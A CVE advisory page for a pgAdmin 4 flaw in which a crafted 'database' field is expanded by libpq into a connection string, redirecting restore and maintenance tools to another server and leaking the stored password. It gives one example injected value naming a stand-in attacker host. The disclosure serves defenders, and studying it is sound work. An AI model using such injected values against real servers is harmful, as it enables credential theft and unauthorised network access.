# CVE-2026-86862: pgAdmin 4: Connection-string injection via the database field in the Restore and Maintenance tools

- Severity: High 7.1 (CVSS:4.0, scored by PostgreSQL) `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`
- Known to be exploited: not in CISA's catalogue, which lists only what CISA has confirmed
- Likelihood of exploitation in the next 30 days (EPSS): 0.21%, higher than 12% of CVEs (2026-12-01)
- Public exploit code or proof of concept: one link below, marked "exploit"
- Published: 2026-09-17T15:30:56.175Z
- Modified: 2026-09-21T17:27:19.973Z
- Weaknesses: CWE-88, CWE-522, CWE-918
- SSVC (CISA-ADP): exploitation none, automatable no, technical impact partial
- Assigned by: PostgreSQL

## Description

pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user.

The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed.

The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment.

This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18.

(As written by CVE List.)

## Affected

- pgadmin.org pgAdmin 4: before 9.18
- pgadmin pgadmin_4: before 9.18

## Every score

- PostgreSQL: CVSS:3.1 6.5 Medium `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N`
- PostgreSQL: CVSS:4.0 7.1 High `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`

## References

- <https://github.com/pgadmin-org/pgadmin4/issues/10388> (exploit, issue-tracking, patch, vendor-advisory)

## Sources

- CVE List: [CVE-2026-86862](https://www.cve.org/CVERecord?id=CVE-2026-86862), CVE Terms of Use, modified 2026-09-17
- NVD: [CVE-2026-86862](https://nvd.nist.gov/vuln/detail/CVE-2026-86862), Public domain, modified 2026-09-21

---

Page: https://cve.day/CVE-2026-86862 · Whole record: https://cve.day/CVE-2026-86862.json · Rebuilt by cve.day 2026-11-25T22:59:39.277Z
